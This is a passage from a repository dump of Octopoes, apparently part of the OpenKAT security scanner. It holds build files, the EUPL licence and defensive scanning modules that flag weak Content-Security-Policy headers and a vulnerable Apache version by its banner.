documentation\ndocs/source/_*/\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\npythonenv*\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n/bytes/bytes-data\n/errors\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n\n!packaging/deb/data/usr/lib\nreports\n\n# debian build artifacts\ndebhelper-build-stamp\n*.debhelper\n*.deb\n*.dsc\n*.build\n*.buildinfo\n*.changes\n*.substvars\ndebian/*/\ndebian/*.log\ndebian/files\ndebian/changelog\n"
  },
  {
    "path": "octopoes/AUTHORS",
    "content": "Jesse Lisser\n"
  },
  {
    "path": "octopoes/Dockerfile",
    "content": "ARG PYTHON_VERSION=3.13\nFROM python:$PYTHON_VERSION-bookworm AS dev\n\nEXPOSE 8000\n\nARG USER_UID=1000\nARG USER_GID=1000\n\nWORKDIR /app/octopoes\n\nENTRYPOINT [\"/app/octopoes/entrypoint.sh\"]\n\nRUN groupadd --gid \"$USER_GID\" octopoes\nRUN adduser --disabled-password --gecos '' --uid \"$USER_UID\" --gid \"$USER_GID\" octopoes\n\nENV PATH=/home/octopoes/.local/bin:${PATH}\n\n# Build with \"docker build --build-arg ENVIRONMENT=dev\" to install dev\n# dependencies\nARG ENVIRONMENT\n\nCOPY requirements.txt requirements-dev.txt ./\nRUN --mount=type=cache,target=/root/.cache pip install --upgrade pip \\\n    && pip install -r requirements.txt \\\n    && if [ \"$ENVIRONMENT\" = \"dev\" ]; then pip install -r requirements-dev.txt; fi\n\nFROM dev\n\nCOPY . .\n\nRUN chown -R octopoes:octopoes /app\n\nUSER octopoes\n\nCMD [\"uvicorn\", \"octopoes.api.api:app\", \"--host\", \"0.0.0.0\", \"--port\", \"8000\"]\n"
  },
  {
    "path": "octopoes/LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "octopoes/MANIFEST.in",
    "content": "recursive-include bits/ *.json *.csv\n"
  },
  {
    "path": "octopoes/Makefile",
    "content": ".PHONY: debian ubuntu clean\n\ndebian12:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-octopoes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-octopoes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nubuntu22.04:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-octopoes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-octopoes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-ubuntu22.04-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nformat:\n\tblack .\n\trobotidy tests/robot\n\nclean:\n\trm -rf build\n\trm -fr debian/kat-*/ debian/.debhelper debian/files *.egg-info/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/*.*.debhelper\n\trm -f debian/*.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n\ncheck:\n\tpre-commit run --all-files --show-diff-on-failure --color always\n\ntest:\n\tpytest\n\nrtest:\n\tdocker compose --project-directory . -f .ci/docker-compose.yml down --remove-orphans\n\tdocker compose --project-directory . -f .ci/docker-compose.yml up -d --build ci_octopoes ci_octopoes_api_worker\n\tsleep 2\n\trobot -d reports tests/robot\n\nctest:\n\tdocker compose --project-directory . -f .ci/docker-compose.yml kill\n\tdocker compose --project-directory . -f .ci/docker-compose.yml down --remove-orphans\n\tdocker compose --project-directory . -f .ci/docker-compose.yml build $(build_args)\n\tdocker compose --project-directory . -f .ci/docker-compose.yml run --rm octopoes_pytest\n\nitest:\n\tdocker compose --project-directory . -f .ci/docker-compose.yml kill\n\tdocker compose --project-directory . -f .ci/docker-compose.yml down --remove-orphans\n\tdocker compose --project-directory . -f .ci/docker-compose.yml build $(build_args)\n\tdocker compose --project-directory . -f .ci/docker-compose.yml run --rm octopoes_integration\n"
  },
  {
    "path": "octopoes/bits/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ask_disallowed_domains/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ask_disallowed_domains/ask_disallowed_domains.py",
    "content": "import json\nfrom collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.question import Question\n\n\ndef run(input_ooi: Network, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    network = input_ooi\n\n    with (Path(__file__).parent / \"question_schema.json\").open() as f:\n        schema = json.load(f)\n\n    yield Question(ooi=network.reference, schema_id=schema[\"$id\"], json_schema=json.dumps(schema))\n"
  },
  {
    "path": "octopoes/bits/ask_disallowed_domains/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.network import Network\n\nBIT = BitDefinition(\n    id=\"ask-disallowed-domains\",\n    consumes=Network,\n    parameters=[],\n    min_scan_level=0,\n    module=\"bits.ask_disallowed_domains.ask_disallowed_domains\",\n)\n"
  },
  {
    "path": "octopoes/bits/ask_disallowed_domains/question_schema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2019-09/schema\",\n  \"$id\": \"/bit/disallowed-csp-hostnames\",\n  \"type\": \"object\",\n  \"default\": {},\n  \"required\": [],\n  \"properties\": {\n    \"disallowed_hostnames\": {\n      \"description\": \"Comma separated list of disallowed hostnames in CSP headers\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[^,]+,?\\\\s*)*$\",\n      \"default\": \"githubpages.com,github.io,jsdelivr.com,cdn.skypack.dev,unpkg.com\"\n    },\n    \"disallow_url_shorteners\": {\n      \"description\": \"Do you want to disallow url shorteners in csp headers?\",\n      \"type\": \"boolean\",\n      \"default\": true\n    }\n  }\n}\n"
  },
  {
    "path": "octopoes/bits/ask_port_specification/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ask_port_specification/ask_port_specification.py",
    "content": "import json\nfrom collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.question import Question\n\n\ndef run(input_ooi: Network, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    network = input_ooi\n\n    with (Path(__file__).parent / \"question_schema.json\").open() as f:\n        schema = json.load(f)\n\n    yield Question(ooi=network.reference, schema_id=schema[\"$id\"], json_schema=json.dumps(schema))\n"
  },
  {
    "path": "octopoes/bits/ask_port_specification/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.network import Network\n\nBIT = BitDefinition(\n    id=\"ask-port-specification\",\n    consumes=Network,\n    parameters=[],\n    min_scan_level=0,\n    module=\"bits.ask_port_specification.ask_port_specification\",\n)\n"
  },
  {
    "path": "octopoes/bits/ask_port_specification/question_schema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2019-09/schema\",\n  \"$id\": \"/bit/port-classification-ip\",\n  \"type\": \"object\",\n  \"default\": {},\n  \"Port Configuration\": \"Root Schema\",\n  \"required\": [],\n  \"properties\": {\n    \"common_udp_ports\": {\n      \"description\": \"Comma separated list of allowed UDP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"53\"\n    },\n    \"common_tcp_ports\": {\n      \"description\": \"Comma separated list of allowed TCP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"25,53,80,110,143,443,465,587,993,995\"\n    },\n    \"sa_tcp_ports\": {\n      \"description\": \"Comma separated list of common system administrator ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"21,22,23,3389,5900\"\n    },\n    \"db_tcp_ports\": {\n      \"description\": \"Comma separated list of common database ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"1433,1434,3050,3306,5432\"\n    },\n    \"microsoft_rdp_ports\": {\n      \"description\": \"Comma separated list of (Microsoft) RDP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"3389\"\n    },\n    \"aggregate_findings\": {\n      \"description\": \"Do you want to aggregate findings into one finding of the IP? Answer with true or false.\",\n      \"type\": \"string\",\n      \"pattern\": \"^(true|false)$\",\n      \"default\": \"false\"\n    }\n  }\n}\n"
  },
  {
    "path": "octopoes/bits/ask_url_params_to_ignore/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ask_url_params_to_ignore/ask_url_params_to_ignore.py",
    "content": "import json\nfrom collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.question import Question\n\n\ndef run(input_ooi: Network, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    network = input_ooi\n\n    with (Path(__file__).parent / \"question_schema.json\").open() as f:\n        schema = json.load(f)\n\n    yield Question(ooi=network.reference, schema_id=schema[\"$id\"], json_schema=json.dumps(schema))\n"
  },
  {
    "path": "octopoes/bits/ask_url_params_to_ignore/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.network import Network\n\nBIT = BitDefinition(\n    id=\"ask_url_params_to_ignore\",\n    consumes=Network,\n    parameters=[],\n    min_scan_level=0,\n    module=\"bits.ask_url_params_to_ignore.ask_url_params_to_ignore\",\n)\n"
  },
  {
    "path": "octopoes/bits/ask_url_params_to_ignore/question_schema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2019-09/schema\",\n  \"$id\": \"/bit/oois-in-headers\",\n  \"type\": \"object\",\n  \"default\": {},\n  \"required\": [\n    \"ignored_url_parameters\"\n  ],\n  \"properties\": {\n    \"ignored_url_parameters\": {\n      \"description\": \"Comma separated list of url parameters that are ignored when following location headers.\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[^,]+,?\\\\s*)*$\",\n      \"default\": \"session_id, phpsessid, jsessionid, cifd, cftoken, asp.net_sessionid\"\n    }\n  }\n}\n"
  },
  {
    "path": "octopoes/bits/check_csp_header/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/check_csp_header/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.web import HTTPHeader, HTTPResource\n\nBIT = BitDefinition(\n    id=\"check-csp-header\",\n    consumes=HTTPResource,\n    parameters=[BitParameterDefinition(ooi_type=HTTPHeader, relation_path=\"resource\")],\n    module=\"bits.check_csp_header.check_csp_header\",\n)\n"
  },
  {
    "path": "octopoes/bits/check_csp_header/check_csp_header.py",
    "content": "import ipaddress\nimport re\nfrom collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPResource\nfrom octopoes.models.types import HTTPHeader\n\nNON_DECIMAL_FILTER = re.compile(r\"[^\\d.]+\")\n\nXSS_CAPABLE_TYPES = [\"text/html\", \"application/xhtml+xml\", \"application/xml\", \"text/xml\", \"image/svg+xml\"]\n\nDEPRECATED_DIRECTIVES = [\"block-all-mixed-content\", \"prefetch-src\"]\n\n\ndef is_xss_capable(content_type: str) -> bool:\n    \"\"\"Determine if the content type indicates XSS capability.\"\"\"\n    main_type = content_type.split(\";\")[0].strip().lower()\n    return main_type in XSS_CAPABLE_TYPES\n\n\ndef run(resource: HTTPResource, additional_oois: list[HTTPHeader], config: dict[str, Any]) -> Iterator[OOI]:\n    if not additional_oois:\n        return\n\n    headers = {header.key.lower(): header.value for header in additional_oois}\n\n    content_type = headers.get(\"content-type\", \"\")\n    # if no content type is present, we can't determine if the resource is XSS capable, so assume it is\n    if content_type and not is_xss_capable(content_type):\n        return\n\n    csp_header = headers.get(\"content-security-policy\", \"\")\n\n    if not csp_header:\n        return\n\n    findings: list[str] = []\n\n    if \"http://\" in csp_header:\n        findings.append(\"Http should not be used in the CSP settings of an HTTP Header.\")\n\n    # checks for a wildcard in domains in the header\n    # 1: one or more non-whitespace\n    # 2: wildcard\n    # 3: second-level domain\n    # 4: end with either a space, a ';', a :port or the end of the string\n    #              {1}{ 2}{  3  }{         4       }\n    if re.search(r\"\\S+\\*\\.\\S{2,3}([\\s]+|$|;|:\\d+)\", csp_header):\n        findings.append(\"The wildcard * for the scheme and host part of any URL should never be used in CSP settings.\")\n\n    if \"unsafe-inline\" in csp_header or \"unsafe-eval\" in csp_header or \"unsafe-hashes\" in csp_header:\n        findings.append(\n            \"unsafe-inline, unsafe-eval and unsafe-hashes should not be used in the CSP settings of an HTTP Header.\"\n        )\n\n    if \"frame-src\" not in csp_header and \"default-src\" not in csp_header and \"child-src\" not in csp_header:\n        findings.append(\"frame-src has not been defined or does not have a fallback.\")\n\n    if \"script-src\" not in csp_header and \"default-src\" not in csp_header:\n        findings.append(\"script-src has not been defined or does not have a fallback.\")\n\n    if \"base-uri\" not in csp_header:\n        findings.append(\"base-uri has not been defined, default-src does not apply.\")\n\n    if \"frame-ancestors\" not in csp_header:\n        findings.append(\"frame-ancestors has not been defined.\")\n\n    if \"default-src\" not in csp_header:\n        findings.append(\"default-src has not been defined.\")\n\n    for deprecated_directive in DEPRECATED_DIRECTIVES:\n        if deprecated_directive in csp_header:\n            findings.append(f\"Deprecated CSP directive found: {deprecated_directive}\")\n\n    if \"report-uri\" in csp_header:\n        findings.append(\"\"\"Deprecated CSP directive found. report-uri is superseded by report-to:\n        https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri\"\"\")\n\n    policies = [policy.strip().split(\" \") for policy in csp_header.split(\";\")]\n    for policy in policies:\n        if len(policy) < 2:\n            findings.append(\"CSP setting has no value.\")\n            continue\n\n        if policy[0] in [\"frame-src\", \"frame-ancestors\"] and not _source_valid(policy[1:]):\n            findings.append(f\"{policy[0]} has not been correctly defined.\")\n\n        if policy[0] == \"default-src\" and (\n            (\"'none'\" not in policy and \"'self'\" not in policy) or not _source_valid(policy[2:])\n        ):\n            findings.append(f\"{policy[0]} has not been correctly defined.\")\n\n        if (policy[0] == \"default-src\" or policy[0] == \"object-src\" or policy[0] == \"script-src\") and \"data:\" in policy:\n            findings.append(\n                \"'data:' should not be used in the value of default-src, object-src and script-src in the CSP settings.\"\n            )\n\n        if policy[0] == \"script-src\" and \"'self'\" in policy:\n            findings.append(\n                \"'self' for `script-src` can be problematic if you host JSONP, Angular or user uploaded files.\"\n            )\n\n        if policy[0].endswith(\"-uri\") and (\n            \"unsafe-eval\" in policy[2:]\n            or \"unsafe-hashes\" in policy[2:]\n            or \"unsafe-inline\" in policy[2:]\n            or \"strict-dynamic\" in policy[2:]\n        ):\n            findings.append(f\"{policy[0]} has illogical values.\")\n\n        if policy[1].strip() == \"*\":\n            findings.append(\"A wildcard source should not be used in the value of any type in the CSP settings.\")\n        if policy[1].strip() in (\"http:\", \"https:\"):\n            findings.append(\n                \"a blanket protocol source should not be used in the value of any type in the CSP settings.\"\n            )\n        for source in policy[1:]:\n            if not _ip_valid(source):\n                findings.append(\n                    \"Private, local, reserved, multicast, loopback ips should not be allowed in the CSP settings.\"\n                )\n    if findings:\n        description: str = \"List of CSP findings:\"\n        for index, finding in enumerate(findings):\n            description += f\"\\n {index + 1}. {finding}\"\n\n        yield from _create_kat_finding(resource.reference, kat_id=\"KAT-CSP-VULNERABILITIES\", description=description)\n\n\ndef _ip_valid(source: str) -> bool:\n    \"Check if there are IP's in this source, return False if the address found was to be non global. Ignores non ips\"\n    ip_str = NON_DECIMAL_FILTER.sub(\"\", source)\n    if ip_str:\n        try:\n            ip = ipaddress.ip_address(ip_str)\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast or ip.is_reserved:\n                return False\n        except ValueError:\n            pass\n    return True\n\n\ndef _create_kat_finding(header: Reference, kat_id: str, description: str) -> Iterator[OOI]:\n    finding_type = KATFindingType(id=kat_id)\n    yield finding_type\n    yield Finding(finding_type=finding_type.reference, ooi=header, description=description)\n\n\ndef _source_valid(policy: list[str]) -> bool:\n    for value in policy:\n        if not (\n            re.search(r\"\\S+\\.\\S{2,3}([\\s]+|$|;|:\\d+)\", value)\n            or value in [\"'none'\", \"'self'\", \"data:\", \"unsafe-inline\", \"unsafe-eval\", \"unsafe-hashes\", \"report-sample\"]\n        ):\n            return False\n\n    return True\n"
  },
  {
    "path": "octopoes/bits/check_cve_2021_41773/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/check_cve_2021_41773/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.web import HTTPHeader\n\nBIT = BitDefinition(\n    id=\"check_cve_2021_41773\",\n    consumes=HTTPHeader,\n    parameters=[],\n    module=\"bits.check_cve_2021_41773.check_cve_2021_41773\",\n)\n"
  },
  {
    "path": "octopoes/bits/check_cve_2021_41773/check_cve_2021_41773.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\nfrom octopoes.models.ooi.web import HTTPHeader\n\n\ndef run(input_ooi: HTTPHeader, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    header = input_ooi\n    if header.key.lower() != \"server\":\n        return\n\n    if \"Apache/2.4.49\" in header.value or \"Apache/2.4.50\" in header.value:\n        finding_type = CVEFindingType(id=\"CVE-2021-41773\")\n        yield finding_type\n        yield Finding(finding_type=finding_type.reference, ooi=header.reference, description=\"Bad apache version\")\n"
  },
  {
    "path": "octopoes/bits/check_hsts_header/__init__.py",
    "content": ""
  },
  {
